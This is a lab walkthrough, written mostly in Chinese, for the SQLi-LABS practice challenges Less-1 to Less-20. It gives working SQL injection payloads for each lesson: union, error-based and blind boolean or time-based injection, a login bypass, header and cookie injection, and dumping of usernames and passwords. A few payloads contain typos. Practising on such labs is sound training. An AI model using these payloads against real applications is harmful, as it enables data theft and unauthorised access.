SQLi-LABS Basic Challenges通关记录
Less-1 Error Based String
Method 1：union注入
?id= 1' --+
?id=1' and 1=2 union select 1,2,3 --+
?id=1' and 1=2 union select 1,2,database() --+
?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=1' and 1=2 union select 1,2,group_concat(id,':',username,':',password) from users --+
Method 2:xml报错注入
?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.columns where table_schema=database()))) --+
Less-2 Error Based intiger
去掉单引号，相同
Less-3 Error Based Single quotes with twist
id=1’) 其他相同
Less-4 Error Based Double Quotes String
id=1") 其他相同
Less-5 Double Injection Single Quotes String
Methord 1: Timing注入
?id=1' and sleep(20) --+
?id=1' and if(length(database())>1,sleep(5),1) --+
?id=1' and if(left(database(),1)='s',sleep(5),1) --+
?id=1' and if (left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1) --+
?id=1' and if (left((select column_name from information_schema.columns where table_name='users'),1)='a',sleep(5),1) --+
?id=1' and if(left((select passwd from users),1)='s',sleep(5),1) --+
Methord 2:布尔型注入
?id=1' and left((select database()),1)='s'--+
?id=1' and left((select table_name from inforamtion_schema.tables where table_schema=database() limit 0,1),1)='s'--+
?id=1' and left((select column_name from information_schema.columns where table_name='NAME' limit 0,1),1)='s'--+
?id=1' and left((select COLUMN from TABLE limit 0,1 ))='s'--+
Less-6 Double Injection Double Quotes String
?id=1"其他一样
Less-7 Dump into outfile String
?id=1')) and union select 1,2,'' into outfile "Path" --+
需要mysql开启secure_file_priv功能
Less-8 Blind Boolian based Single Quotes
?id=1' and 1=2--+
?id=1' and 1=1--+
?id=1' and left((select database()),1)='s'--+
?id=1' and Left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='s'--+
可以使用二分法，’=’ ‘<’ ‘>’
Less-9 Blind Time based Single Quote String
?id=1' and sleep(5)--+
?id=1' and if(length(database())=4,sleep(5),1)--+
?id=1' and if(left((select database()),1)='s',sleep(5),1)--+
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database()),1)='s',sleep(5),1)--+
同样可以使用二分法
Less-10 Blind Time based Double Quotes String
?id=1"其他相同
Less-11 Post Error Based Single quotes String
绕过登录
1' or 1=1#
1' and 1=1#
报错注入
1' and extractvalue(1,concat('~',(select database())))#
1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='NAME')))#
1‘ and extractvalue(1,concat('~',(select group_concat(COLUMN) from TABLE)))#
union联合查询
1' and 1=2 union select 1,2#
1' and 1=2 union select 1,database()#
1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1' and 1=2 union select 1,group_concat(id,':',username,':',password) from users#
Less-12 POST Error Based Double quotes String with twist
语句为
$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
"报错为
syntax to use near '""") and password=("") LIMIT 0,1' at line 1
")报错为syntax to use near '") and password=("") LIMIT 0,1' at line 1
因此传入后会自动再括号内增加""
联合注入
") and 1=2 union select 1,database()#
") and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
") and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name="name"#
") and 1=2 union select 1,group_concat("column1",':',"column2") from "table1"#
报错注入
") and extractvalue(1,concat('~',(select database())))#
Less-13 Double injection Single quote string with twist
'报错为`syntax to use near ‘’’’) and password=(’’) LIMIT 0,1’ at line 1
没有回显，无法使用union注入
报错注入
') and extractvalue(1, concat('~',(select database())))#
Timnig盲注
') or sleep(5)#
Bool盲注
') or 1=1#
') or 1=2#
') or left((select database()),1)='s'#
Less-14 POST Double injection Single quotes String with twist
报错注入
" or extractvalue(1,concat('~',(select database())))#
Bool盲注
" or left((select database()),1)='s'#
Timing盲注
" or if(left((select database()),1)='s',sleep(5),1)#
Less-15 POST Blind Boolian/time Based Single quotes
Less-16 POST Blind Boolian/time Based Single quotes
Bool
Timing
Less-17 POST Update Query Error Based string
对uname存在过滤，过滤转义字符，并对mysql相关符合转义
需要已知uname=admin
报错注入
' and updatexml(1,concat('~',database()),1)#
' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),1)#
' and updatexml(1,concat('~',(select id from (select id from users where username='admin') aaa )),1)#
' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1)#
Less-18 POST Header injection Uagent field Error based
sql语句为
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
需要对user-agent进行修改
' and extractvalue(1,concat('~',(select database()))) and '
需要已知uname=admin，password=admin
Less-19 POST Header injection Referer field Error based
sql语句为
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
需要修改Referer
' and extractvalue(1,concat('~',(select database()))) and '
' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '
需要已知uname，password
Less-20 POST Cookie injection Uagent field error based
sql语句为
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
需要修改cookie
' and extractvalue(1, concat('~',(select database())))#
' and extractvalue(1, concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=databse())))#
修改后刷新网页